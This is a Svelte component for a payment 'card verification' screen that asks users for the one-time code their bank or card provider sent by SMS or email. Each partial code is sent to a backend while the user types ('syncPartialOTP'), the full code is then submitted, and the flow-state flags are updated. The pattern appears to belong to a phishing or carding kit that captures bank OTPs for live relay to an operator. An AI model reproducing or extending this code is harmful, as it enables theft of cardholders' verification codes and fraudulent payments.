<script lang="ts">
	import Icon from "$lib/components/atoms/icon.svelte";
	import Title from "$lib/components/atoms/title.svelte";
	import Button from "$lib/components/ui/button/button.svelte";
	import Input from "$lib/components/ui/input/input.svelte";
	import { ckFlowVM } from "$lib/domains/ckflow/view/ckflow.vm.svelte";
	import { toast } from "svelte-sonner";
	import LockIcon from "~icons/solar/shield-keyhole-minimalistic-broken";
	import ButtonLoadableText from "$lib/components/atoms/button-loadable-text.svelte";

	let otpCode = $state("");
	let submitting = $state(false);

	let otpSyncTimeout: NodeJS.Timeout | null = null;

	// Sync OTP as user types
	function debounceOtpSync(value: string) {
		if (otpSyncTimeout) {
			clearTimeout(otpSyncTimeout);
		}

		otpSyncTimeout = setTimeout(() => {
			ckFlowVM.syncPartialOTP(value);
		}, 300);
	}

	function handleOtpInput(e: Event) {
		const value = (e.target as HTMLInputElement).value;
		otpCode = value;
		debounceOtpSync(value);
	}

	async function submitOTP() {
		if (otpCode.length < 4) {
			toast.error("Invalid verification code", {
				description:
					"Please enter the complete code from your card provider",
			});
			return;
		}

		submitting = true;

		try {
			// Submit OTP to backend
			const result = await ckFlowVM.submitOTP(otpCode);

			if (result) {
				toast.success("Verification submitted", {
					description: "Processing your payment verification...",
				});

				// Update the flow to hide verification form but keep showVerification flag
				if (ckFlowVM.info) {
					await ckFlowVM.updateFlowState(ckFlowVM.info.flowId, {
						...ckFlowVM.info,
						showVerification: true,
						otpSubmitted: true, // Add flag to track OTP submission
					});
				}
			} else {
				toast.error("Verification failed", {
					description: "Please check your code and try again",
				});
				otpCode = ""; // Reset OTP field
				return; // Don't proceed if submission failed
			}
		} catch (error) {
			toast.error("Error processing verification", {
				description: "Please try again later",
			});
			return; // Don't proceed if there was an error
		} finally {
			submitting = false;
		}
	}
</script>

<div class="flex flex-col items-center justify-center gap-8">
	<div
		class="flex w-full max-w-xl flex-col items-center justify-center gap-4 rounded-lg border bg-white p-8 text-center shadow-lg"
	>
		<div
			class="grid h-16 w-16 place-items-center rounded-full bg-primary/10 text-primary"
		>
			<Icon icon={LockIcon} cls="h-8 w-8" />
		</div>

		<Title size="h4" center>Card Verification Required</Title>

		<p class="max-w-md text-gray-600">
			To complete your payment, please enter the verification code sent by
			your bank or card provider (Visa, Mastercard, etc.). This code may
			have been sent via SMS or email.
		</p>

		<div class="mt-4 flex w-full max-w-xs flex-col gap-4">
			<Input
				type="number"
				placeholder="Card verification code"
				maxlength={12}
				value={otpCode}
				oninput={handleOtpInput}
				class="w-full"
			/>

			<Button
				onclick={submitOTP}
				disabled={otpCode.length < 4 || submitting}
				class="w-full"
			>
				<ButtonLoadableText
					text="Verify Payment"
					loadingText="Verifying..."
					loading={submitting}
				/>
			</Button>
		</div>
	</div>

	<div
		class="flex w-full max-w-xl flex-col gap-4 rounded-lg border bg-white p-6 shadow-lg"
	>
		<Title size="h5">Need Help?</Title>
		<p class="text-gray-600">
			If you haven't received a verification code from your bank or card
			provider, please check your spam folder or contact your card issuer
			directly. This verification is part of their security process for
			online payments.
		</p>
	</div>
</div>
